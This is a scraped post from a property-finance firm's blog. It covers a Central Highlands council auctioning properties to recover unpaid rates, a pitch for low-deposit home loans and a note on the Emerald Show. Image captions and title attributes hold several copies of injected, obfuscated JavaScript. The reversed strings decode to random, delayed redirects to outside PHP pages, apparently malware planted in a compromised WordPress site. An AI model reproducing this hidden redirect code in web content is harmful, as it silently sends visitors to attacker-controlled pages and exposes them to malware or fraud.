Unpaid Rates – Council Auction
Central Highlands Regional Council has commenced selling houses and vacant land to recoup unpaid rates.
I believe that it had to happen sooner rather than later and this is just the beginning.
![Unpaid Rates - Council Auction Properties <script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Recoup Steve Taylor & Partners](https://stevetaylor.com.au/wp-content/uploads/2017/06/upaid-rates.jpg "Unpaid Rates - Council Auction Properties <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Recoup Steve Taylor & Partners")
Last week the first round of notices included 16 properties. However, by the day of the auction, all but six ratepayers paid their arrears.
Five of those six properties sold at auction? The only one to get no bids was a vacant property on Victoria Street, Duaringa. The highest bid was $12,000 for a Rubyvale property that included a dwelling! The lowest was $1,000 for a property at Duaringa that also included a dwelling.
They were not actually sold for these prices as they were below the reserve, but sales of five of the properties were negotiated.
There will be more auctions like this; a total of 37 notices or intention to sell to recoup unpaid rates will be sent in round two.
If you wanted to pick up a bargain at future auctions you would need to sign an unconditional contract. You would, therefore, require pre-approval from your bank.
What is a pre-approval?
Let’s say you intend bidding up to $250,000, you visit your Bank, complete a loan application and if successful the Bank will give you a loan approval before you buy a property. You can then bid or negotiate with confidence. Unfortunately, it is still made difficult, with Banks currently requiring 30% deposit on homes in the Central Highlands. However, I can help.
If you want to buy a home in the Central Highlands with 10% deposit and have the normal requirements of a good credit history and employment, I can help with the 10% deposit, plus funds for Stamp Duty, Legal’s etc.
No cost – no obligation
Many people are not aware that local finance is available on 10% deposit and I am happy to discuss your options in a no cost, no obligation appointment.
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The Emerald Show
![Unpaid Rates - Council Auction Properties <script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Recoup Steve Taylor & Partners](https://stevetaylor.com.au/wp-content/uploads/2017/06/STP-Emerald-Show.jpg "Unpaid Rates - Council Auction Properties <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Recoup Steve Taylor & Partners")
We attended The Emerald Show and it was great. I was able to catch up with many of my clients and there is defiantly more confidence now than last year, in the future of the Central Highlands.
We had strong enquiry for traditional residential property investment in Brisbane but also a lot of people wanting us to help them set up a self-managed super fund (SMSF).
Winner of the Free Raffle
Jenny Whittaker of Emerald won the raffle – She circled ‘A’ for the Alkaline Water System.
Steve Taylor
Need help to start your residential property investment portfolio the right way? Please contact our office to schedule a free, no-obligation consultation and let’s discuss your options.
If you prefer to listen here is my radio interview on Emerald 4HI:
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At the helm of Steve Taylor & Partners, Steve Taylor has been delivering expert advice and product knowledge to clients for over 30 years. Steve Taylor & Partners provide individuals, couples and families with the right strategies to create wealth and change their lives with solid bricks and mortar.
DISCLAIMER
Steve Taylor & Partners blog is opinion and not advice. Readers should seek their own professional advice on the subject being discussed. The figures stated in this article were accurate at the time of publication. For up to date figures, please contact our office.
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